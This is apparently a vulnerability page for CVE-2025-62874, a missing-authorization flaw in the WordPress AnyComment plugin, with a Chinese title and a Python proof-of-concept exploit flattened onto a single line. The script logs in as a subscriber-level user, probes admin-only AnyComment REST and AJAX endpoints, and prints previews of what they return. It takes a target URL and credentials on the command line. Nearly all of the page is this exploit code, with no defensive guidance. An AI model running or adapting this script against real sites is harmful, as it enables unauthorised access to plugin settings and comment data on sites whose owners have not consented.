CVE-2025-62874 WordPress AnyComment插件访问控制漏洞

# CVE-2025-62874 PoC - WordPress AnyComment Broken Access Control # Requires low-privilege WordPress account import requests import sys from urllib.parse import urljoin def exploit_anycomment_ac(url, username, password): """ Exploit Missing Authorization in AnyComment Plugin This PoC demonstrates accessing admin functions with subscriber role """ # Setup session session = requests.Session() login_url = urljoin(url, '/wp-login.php') # Login as low-privilege user login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as low-privilege user: {username}') resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Try to access admin-only AnyComment endpoints targets = [ '/wp-json/anycomment/v1/settings', '/wp-json/anycomment/v1/comments', '/wp-admin/admin-ajax.php?action=anycomment_admin_action' ] print('[*] Attempting to access privileged endpoints...') for endpoint in targets: target_url = urljoin(url, endpoint) resp = session.get(target_url) if resp.status_code == 200 and 'anycomment' in resp.text.lower(): print(f'[+] VULNERABLE: {endpoint}') print(f' Response preview: {resp.text[:200]}...') else: print(f'[-] Protected: {endpoint} (Status: {resp.status_code})') return True if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) exploit_anycomment_ac(sys.argv[1], sys.argv[2], sys.argv[3])